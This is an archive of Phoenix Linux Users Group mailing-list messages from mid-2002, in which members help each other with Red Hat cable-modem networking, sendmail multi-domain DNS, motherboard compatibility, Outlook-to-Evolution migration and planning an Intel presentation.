From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 01:58:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 31 May 2002 21:58:27 -0400 Subject: internet access References: <004401c208fb$799e0d90$91ad0244@pinchebaboso> Message-ID: <3CF82A43.890BD588@georgetoft.com> > Poorboyphx wrote: > > i have a newlinux7.2 and dont know how to attach to the internet please > helpp!!!!!!! Eh Brah, You need to give us more information than that. Are you using a dial-up modem (internal or external?), cable modem, ADSL, VDSL, WHAT??? Next, you need to tell us what you have done so far, and what the results were, including error messages. Regards, George From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 02:25:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Poorboyphx) Date: Fri, 31 May 2002 19:25:11 -0700 Subject: internet Message-ID: <000801c20913$8ed81670$91ad0244@pinchebaboso> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C208D8.E1E7FAF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ok here goes!! I have linux 7.2 redhat. I need to connect to the = internet!! I have a cable modem with a soho ethernet adapter to the = computer. I'm with cox@home and i need helphooking up to the internet. = I have the ip addresses and such but dont know where to configure this = system to access the internet. ipaddress 68.2.173.145 subnet mask 255.255.255.0 default gateway 68.2.173.1 dhcp server 172.19.73.16 dns servers 68.2.16.30 and 68.1.208.30 how do i enter this information so that i may access the internet with a = cable modem through a usb ethernet connection (soho) this is really = all the info that i know i would appreciate anyone who might help. You = can even call me at 480-988-2106! thanks danny poorman! ------=_NextPart_000_0005_01C208D8.E1E7FAF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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how do i enter this information so that = i may=20 access the internet with a cable modem through a usb ethernet connection = (soho)   this is really all the info that i know i would = appreciate=20 anyone who might help.  You can even call me at 480-988-2106!  = thanks=20 danny poorman!
------=_NextPart_000_0005_01C208D8.E1E7FAF0-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 02:51:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Fri, 31 May 2002 19:51:19 -0700 Subject: Intel presentation content suggestions? References: <200205302056.53263.alandd@consultpros.com> Message-ID: <00f701c20917$34eadc20$c801a8c0@sctdl1.az.home.com> How about a presentation comparing their compiler to gcc? Also - don't they have some good profiling tools - vtune? ----- Original Message ----- From: Alan Dayley To: Sent: Thursday, May 30, 2002 8:56 PM Subject: Intel presentation content suggestions? > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 03:40:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 31 May 2002 23:40:53 -0400 Subject: internet References: <000801c20913$8ed81670$91ad0244@pinchebaboso> Message-ID: <3CF84245.FC1E70D2@georgetoft.com> > Poorboyphx wrote: > > ok here goes!! I have linux 7.2 redhat. I need to connect to the internet!! > I have a cable modem with a soho ethernet adapter to the computer. I'm with > cox@home and i need helphooking up to the internet. I have the ip addresses > and such but dont know where to configure this system to access the internet. > ipaddress 68.2.173.145 > subnet mask 255.255.255.0 > default gateway 68.2.173.1 > dhcp server 172.19.73.16 > dns servers 68.2.16.30 and 68.1.208.30 > > how do i enter this information so that i may access the internet with a cable > modem through a usb ethernet connection (soho) this is really all the info > that i know i would appreciate anyone who might help. You can even call me at > 480-988-2106! thanks danny poorman! OMFG!! Can someone on the list help with this? This page gives some pointers: http://www.linux-usb.org/USB-guide/x332.html This document has lots of info: http://www.linux-usb.org/USB-guide/ USB-guide.ps Another page I came across says you have to have usb-ohci, usbcore and CDCEther modules loaded (use lsmod to see). If you have the USB modem working, the files you seek are in: /etc/sysconfig/network-scripts/ I have no idea what the name is, but it will start with ifcfg- and have your device name in it. For example, ifcfg-eth0 (for ethernet) would contain: DEVICE=eth1 ONBOOT=yes BOOTPROTO=static IPADDR=10.0.1.1 NETMASK=255.255.255.0 GATEWAY=10.0.0.1 IF you have a static IP (put your info above). If you use DHCP (most likely?), then it will look like this: DEVICE=eth0 ONBOOT=yes BOOTPROTO=dhcp Good Luck! George From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 04:03:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Fri, 31 May 2002 21:03:49 -0700 Subject: internet References: <000801c20913$8ed81670$91ad0244@pinchebaboso> <3CF84245.FC1E70D2@georgetoft.com> Message-ID: <3CF847A5.9020004@asu.edu> George, I called him, and got no answer...and his voicemail was full. I wrote email instructions. But, alas, haven't heard anything back. I guess he'll contact us again when he is ready. Rod George Toft wrote: >>Poorboyphx wrote: >> >>ok here goes!! I have linux 7.2 redhat. I need to connect to the internet!! >>I have a cable modem with a soho ethernet adapter to the computer. I'm with >>cox@home and i need helphooking up to the internet. I have the ip addresses >>and such but dont know where to configure this system to access the internet. >>ipaddress 68.2.173.145 >>subnet mask 255.255.255.0 >>default gateway 68.2.173.1 >>dhcp server 172.19.73.16 >>dns servers 68.2.16.30 and 68.1.208.30 >> >>how do i enter this information so that i may access the internet with a cable >>modem through a usb ethernet connection (soho) this is really all the info >>that i know i would appreciate anyone who might help. You can even call me at >>480-988-2106! thanks danny poorman! > > > OMFG!! > > Can someone on the list help with this? > > This page gives some pointers: > http://www.linux-usb.org/USB-guide/x332.html > > This document has lots of info: > http://www.linux-usb.org/USB-guide/ > USB-guide.ps > > Another page I came across says you have to have usb-ohci, usbcore and CDCEther > modules loaded (use lsmod to see). > > > If you have the USB modem working, the files you seek are in: > /etc/sysconfig/network-scripts/ > I have no idea what the name is, but it will start with ifcfg- and have your > device name in it. For example, ifcfg-eth0 (for ethernet) would contain: > DEVICE=eth1 > ONBOOT=yes > BOOTPROTO=static > IPADDR=10.0.1.1 > NETMASK=255.255.255.0 > GATEWAY=10.0.0.1 > IF you have a static IP (put your info above). > > If you use DHCP (most likely?), then it will look like this: > DEVICE=eth0 > ONBOOT=yes > BOOTPROTO=dhcp > > Good Luck! > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 04:45:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Fri, 31 May 2002 21:45:54 -0700 (MST) Subject: sendmail / multiple domains question In-Reply-To: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: Going out on a limb here... did you try restarting sendmail? On Fri, 31 May 2002, linux @esaravana wrote: > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > dowsn't work when I do 2nddomain.com. > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > 1stdomain.com. > > So, my take is DNS is set properly. But could be that my sendmail is not > using the DNS. How do I make sure, my sendmail is using my DNS. > > Sundar > > > ----- Original Message ----- > From: "Patrick Fleming EA" > To: > Sent: Friday, May 31, 2002 3:51 PM > Subject: Re: sendmail / multiple domains question > > > > On Fri, 31 May 2002, Sundar wrote: > > > > > Hello, > > > > > > I am trying to host multiple domains on my mail server. So, I updated > > > virtusertable, generics-domains, genericstable. I am able to send and > > > recive from olduser@1stdomain.com. But I am only able to receive mail > > > from newuser@2nddomain.com, not send from the account. > > > > > > > My setup also has local-host-names. The error below seems to indicate that > > the machine can't resolve 2nddomain.com. Did you place an entry in the DNS > > tables on the machine trying to send mail for 2nddomain.com? If it doesn't > > run DNS set it in /etc/hosts. > > > > > > > > > ----- The following addresses had permanent fatal errors ----- > > > (reason: 501 5.1.8 ... Domain of sender > address newuser@2nddomain.com does not exist) > > > > > > > > > > > > Following are the files I modified. > > > 2nddomain is the domain I am trying to add > > > > > > Virtusertable > > > > -------------------------------------------------------------------------- > -- > > > newuser@1stdomain.com error:nouser send mail to new@2nddomain.com > > > newuser@2nddomain.com newuser > > > olduser@2nddomain.com error:nouser user not found > > > olduser@istdomain.com olduser > > > > > > generics-domains(copied local-host-names) > > > > -------------------------------------------------------------------------- > -- > > > 1stdomain.com > > > 2nddomain.com > > > > > > genericstable > > > > -------------------------------------------------------------------------- > -- > > > newuser newuser@2nddomain.com > > > olduser olduser@istdomain.com > > > > > > > > > Sundar > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > -- > > Patrick Fleming, EA > > http://myhdvest.com/patrickfleming > > Licensed to represent taxpayers > > before Exam, Appeals, and Conference > > divisions of the IRS > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 05:36:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 31 May 2002 22:36:12 -0700 (PDT) Subject: Intel presentation content suggestions? In-Reply-To: <200205302056.53263.alandd@consultpros.com> Message-ID: I'm mostly interested in how Intel is making use of Linux within the company. Are any of their production servers running Linux? Are any user's workstations running Linux? If not, are there plans in the future for using Linux internally on production systems, and not just for testing network card compatibility, etc.? Does IT have plans to support Linux as a desktop option? If not, why? Thanks, ~M On Thu, 30 May 2002, Alan Dayley wrote: > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 06:02:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 31 May 2002 23:02:05 -0700 Subject: Intel presentation content suggestions? In-Reply-To: <200205302056.53263.alandd@consultpros.com> References: <200205302056.53263.alandd@consultpros.com> Message-ID: <20020531230205.43323f95.snoogans@qwest.net> I would like to here about thier plans for 64 bit systems. Also advantages, disadvantages, and the like. On Thu, 30 May 2002 20:56:53 -0700 "Alan Dayley" wrote: > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 09:58:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 01 Jun 2002 02:58:37 -0700 Subject: sendmail / multiple domains question In-Reply-To: <005301c208fd$b6497250$5300a8c0@charlie> References: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: <1022925517.8223.6.camel@barney.azapple.com> On Fri, 2002-05-31 at 16:48, linux @esaravana wrote: > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > dowsn't work when I do 2nddomain.com. > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > 1stdomain.com. > > So, my take is DNS is set properly. But could be that my sendmail is not > using the DNS. How do I make sure, my sendmail is using my DNS. > ---- almost impossible to make sendmail work without dns. when using dns, it's easy to think that what your desktop sees is what your sever sees but that is only the case if they both point to the same dns server. I often have a situation where my server is exposed to the internet and uses a public dns server and the desktop machines are behind the firewall and point to a local dns server (essential when you use active directory) and so they might not see the same info for things like mx exchanger. So if you are are talking about sendmail resolving domain names, do nslookup/htdig from that server and then the same thing from client machines...they may come up with entirely different answers. Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 10:41:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sat, 1 Jun 2002 03:41:17 -0700 (PDT) Subject: Motherboard with linux question In-Reply-To: Message-ID: <20020601104117.24497.qmail@web13902.mail.yahoo.com> I recently received pieces to build a new computer, however the motherboard is an all-in-one-board, and I would like some opinions on whether this board would work ok with linux. I will be installing either redhat 7.3 or Mandrake 8.*. It is my understanding that some of these all-in-one-boards can be somewhat difficult to configure. The page with the specs. for this board is: http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm Could some of you tell me if you think I would be ok with this board, or if I should look for a barebones board and add the pieces. I got a 1ghz Duron with it if the chip would make a difference with the decision. Thank You for your time, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 21:51:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Uhlman) Date: Sat, 1 Jun 2002 14:51:13 -0700 Subject: I'd like to Evolution instead of Outlook for email and my PalmPilot. References: <000201c207f8$4048c570$6500a8c0@phoenix> Message-ID: <004101c209b6$730fac20$0f01a8c0@workstation> New to plug glad to be here. It will depend somewhat on whether you are using outlook or outlook express. There are two strategies that have worked well for me in the past. If you have a small number of archived messages such as in the 0-10000 range you can use outlook to forward the complete contents of each mail folder as an attachment to yourself and then dl the email into evolution. This works if you have your own mail server and not an isps due to size speed etc. You can easily set up a dummy server on the evolution machince to handle just this one set of messges. Second option is to install mozilla email on the outlook machine and import from outlook into mozilla. Mozilla stores mail in mbox format that is easily readable from evolution using the import --> import as single file evolution feature. Mozilla stores its mail on XP/2k in \Documents and Settings\("Your User Name")\Application Data\Mozilla\("Your Profile Directory")\Mail\imported.mail\ you will have to copy over all the files from that imported.mail directory to a location accessible from evolution. Good luck.Other mail settings such as the addressbook tend to be a little quirky but going outlook->mozilla->evolution you can usually get the most important stuff. Also beware very large attachments, maybe it is time to do a little mail housekeeping anyway. Sincerely, David Uhlman CTO 50km Inc. email(duhlman@50km.com) ----- Original Message ----- From: "Ben" To: Sent: Thursday, May 30, 2002 9:37 AM Subject: I'd like to Evolution instead of Outlook for email and my PalmPilot. > I want to try to make the only major move I need to make away from > Windows. I want to convert my Outlook.pst file into a format that > Evolution will read. I also want to make my Palm m500, a USB PalmPilot, > synchronize with Evolution. I've tried to follow some instructions that > I found on the Net, but haven't been successful yet. > > Has anyone here successfully converted from Outlook to Evolution? > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 14:02:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 1 Jun 2002 07:02:38 -0700 Subject: Konqueror 3.0.0 question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <200206010702.38888.alandd@mindspring.com> For you KDE people out there... I have been enjoying my KDE 3.0 desktop very much! However, I would like to change one aspect of Konqueror back to the old way. This new version of Konqueror remembers every web address I have ever clicked on. I like to type in my "usual" web site addresses. The old Konqueror used to only remember the addresses I actually typed in on the location line and only brings the actual typed in addresses when I start typin the address again. Now it remembers everything and puts up the drop down list full of selections, and the one I want is not always at the top. Is there a setting somewhere that turns off all this extra history and gives back my more direct address options? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 15:07:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 01 Jun 2002 11:07:30 -0400 Subject: Motherboard with linux question References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <3CF8E332.719CB44D@georgetoft.com> I went to google and searched for: M810LMR Linux and the results are not that impressive. There seem to be many issues with this board, and they are not just limited to Linux. You can always try it and see what happens. George MCR wrote: > > I recently received pieces to build a new computer, > however the motherboard is an all-in-one-board, and I > would like some opinions on whether this board would > work ok with linux. I will be installing either > redhat 7.3 or > Mandrake 8.*. It is my understanding that some of > these all-in-one-boards can be somewhat difficult to > configure. The page with the specs. for this board is: > > http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm > > Could some of you tell me if you think I would be ok > with this board, or if I should look for a barebones > board and add the pieces. I got a 1ghz Duron with it > if the chip would make a difference with the decision. > > Thank You for your time, > > mike > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:14:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Sat, 1 Jun 2002 09:14:45 -0700 Subject: sendmail / multiple domains question In-Reply-To: References: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: <20020601091445.5fe57045.linux@esaravana.com> Hi Patrick, It was DNS. I did not have MX record for the domains. Thanks, Sundar On Fri, 31 May 2002 21:45:54 -0700 (MST) "Patrick Fleming EA" wrote: > > Going out on a limb here... did you try restarting sendmail? > > On Fri, 31 May 2002, linux @esaravana wrote: > > > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > > dowsn't work when I do 2nddomain.com. > > > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > > 1stdomain.com. > > > > So, my take is DNS is set properly. But could be that my sendmail is not > > using the DNS. How do I make sure, my sendmail is using my DNS. > > > > Sundar > > > > > > ----- Original Message ----- > > From: "Patrick Fleming EA" > > To: > > Sent: Friday, May 31, 2002 3:51 PM > > Subject: Re: sendmail / multiple domains question > > > > > > > On Fri, 31 May 2002, Sundar wrote: > > > > > > > Hello, > > > > > > > > I am trying to host multiple domains on my mail server. So, I updated > > > > virtusertable, generics-domains, genericstable. I am able to send and > > > > recive from olduser@1stdomain.com. But I am only able to receive mail > > > > from newuser@2nddomain.com, not send from the account. > > > > > > > > > > My setup also has local-host-names. The error below seems to indicate that > > > the machine can't resolve 2nddomain.com. Did you place an entry in the DNS > > > tables on the machine trying to send mail for 2nddomain.com? If it doesn't > > > run DNS set it in /etc/hosts. > > > > > > > > > > > > > ----- The following addresses had permanent fatal errors ----- > > > > (reason: 501 5.1.8 ... Domain of sender > > address newuser@2nddomain.com does not exist) > > > > > > > > > > > > > > > > Following are the files I modified. > > > > 2nddomain is the domain I am trying to add > > > > > > > > Virtusertable > > > > > > -------------------------------------------------------------------------- > > -- > > > > newuser@1stdomain.com error:nouser send mail to new@2nddomain.com > > > > newuser@2nddomain.com newuser > > > > olduser@2nddomain.com error:nouser user not found > > > > olduser@istdomain.com olduser > > > > > > > > generics-domains(copied local-host-names) > > > > > > -------------------------------------------------------------------------- > > -- > > > > 1stdomain.com > > > > 2nddomain.com > > > > > > > > genericstable > > > > > > -------------------------------------------------------------------------- > > -- > > > > newuser newuser@2nddomain.com > > > > olduser olduser@istdomain.com > > > > > > > > > > > > Sundar > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > -- > > > Patrick Fleming, EA > > > http://myhdvest.com/patrickfleming > > > Licensed to represent taxpayers > > > before Exam, Appeals, and Conference > > > divisions of the IRS > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > Patrick Fleming, EA > http://myhdvest.com/patrickfleming > Licensed to represent taxpayers > before Exam, Appeals, and Conference > divisions of the IRS > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:36:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 1 Jun 2002 09:36:49 -0700 Subject: Motherboard with linux question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <200206010936.49121.krycom1@cox.net> On Saturday 01 June 2002 03:41 am, MCR wrote: > I recently received pieces to build a new computer, > however the motherboard is an all-in-one-board, and I > would like some opinions on whether this board would > work ok with linux. I will be installing either > redhat 7.3 or > Mandrake 8.*. It is my understanding that some of > these all-in-one-boards can be somewhat difficult to > configure. The page with the specs. for this board is: > > http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_ >810LMRv5.htm > > Could some of you tell me if you think I would be ok > with this board, or if I should look for a barebones > board and add the pieces. I got a 1ghz Duron with it > if the chip would make a difference with the decision. Mike, You can look on Redhats site and see if your hardware is supported. -- Richard L. Proctor Krystal Computer Services PC Repairs & U-pgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:41:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 1 Jun 2002 09:41:14 -0700 Subject: Motherboard with linux question In-Reply-To: <3CF8E332.719CB44D@georgetoft.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> <3CF8E332.719CB44D@georgetoft.com> Message-ID: <200206010941.14521.krycom1@cox.net> On Saturday 01 June 2002 08:07 am, George Toft wrote: > I went to google and searched for: > M810LMR Linux > and the results are not that impressive. There seem to be many > issues with this board, and they are not just limited to Linux. I think that board he is trying to use is a PC Chips, that's a warning sign in itself. :-) -- Richard L. Proctor Krystal Computer Services PC Repairs & U-pgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 18:05:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sat, 1 Jun 2002 11:05:58 -0700 (PDT) Subject: Motherboard with linux question In-Reply-To: <200206010941.14521.krycom1@cox.net> Message-ID: <20020601180558.5707.qmail@web13907.mail.yahoo.com> Thank you for the responses. I thought I would be better off getting a new board, I just thought I would ask to make sure. With these comments being made I was wondering if someone would be willing to contact me off list and answer a few questions. I am sure not everyone wants their e-mail filled up with hardware questions. mike1071@yahoo.com My question right now is simply what motherboards tend to do better, and what is a good way to find out. I know I can just do a regular search and research on them, but what are the certain "brands" that tend to do better than the others? mike --- "Richard L. Proctor" wrote: > On Saturday 01 June 2002 08:07 am, George Toft > wrote: > > I went to google and searched for: > > M810LMR Linux > > and the results are not that impressive. There > seem to be many > > issues with this board, and they are not just > limited to Linux. > > I think that board he is trying to use is a PC > Chips, that's a warning sign > in itself. :-) > > -- > Richard L. Proctor > Krystal Computer Services > PC Repairs & U-pgrades > www.krycom.com > 480-699-3098 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 18:31:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lucas Sheehan) Date: Sat, 01 Jun 2002 11:31:21 -0700 Subject: IRC Linux channel? References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> Message-ID: <3CF912F9.E14C11CA@aaahawk.com> Hello all, Im a bit new to all of this but have been messin with Linux for about a year. So I will ask my newbie question and look like a fool for the proverbial 5 min. Im not sure how to connect to the Pretorian.atx.cx chat thingy with the IRC. I try to connect and it always times out. What am I doing wrong? I have tried X-Chat IRC Client and Mozilla-IRC. If someone could help me set that up I would greatly appreciate it. Thanks. Luke From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 19:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Sat, 01 Jun 2002 12:08:14 -0700 Subject: Motherboard with linux question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: Message-ID: <5.1.0.14.0.20020601115634.0244ac90@teltrax.com> I have a machine with one of these motherboards in it. The only problem that I've noticed was with the sound. I installed Lycoris Desktop/LX, and for the life of me just couldn't get the sound working. I even tried the Alsa drivers, but still nothing. I then installed Mandrake 8.2 on it, and it configured the sound automatically. Although it worked, occasionally the sound would cut out and require a reboot. This would happen roughly once or twice a week with the system being used nightly for several hours. The only other thing is that whenever KDE would play a desktop sound, there would be a very small but noticeable chirp just before the sound played. It sounded like I was hearing the sounds through a walkie-talkie. Other than that, everything else on the board worked and, apart from the sound, was very stable. I ended up putting Windows on that particular machine, because it's my sons computer and he likes to visit kids sites that use Flash 5, and I have yet to find a Linux browser that will run all of the flash games. That's the ONLY thing keeping a Windows box at my house. It's funny because my son (8 years old) just asked if I could make his computer run both so he could use Windows for the flash sites, but Linux for everythig else. (Sorry, getting a little off topic here, hehe). Patrick At 03:41 AM 06/01/2002 -0700, you wrote: > I recently received pieces to build a new computer, >however the motherboard is an all-in-one-board, and I >would like some opinions on whether this board would >work ok with linux. I will be installing either >redhat 7.3 or >Mandrake 8.*. It is my understanding that some of >these all-in-one-boards can be somewhat difficult to >configure. The page with the specs. for this board is: > >http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm > > Could some of you tell me if you think I would be ok >with this board, or if I should look for a barebones >board and add the pieces. I got a 1ghz Duron with it >if the chip would make a difference with the decision. > > Thank You for your time, > > mike > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - 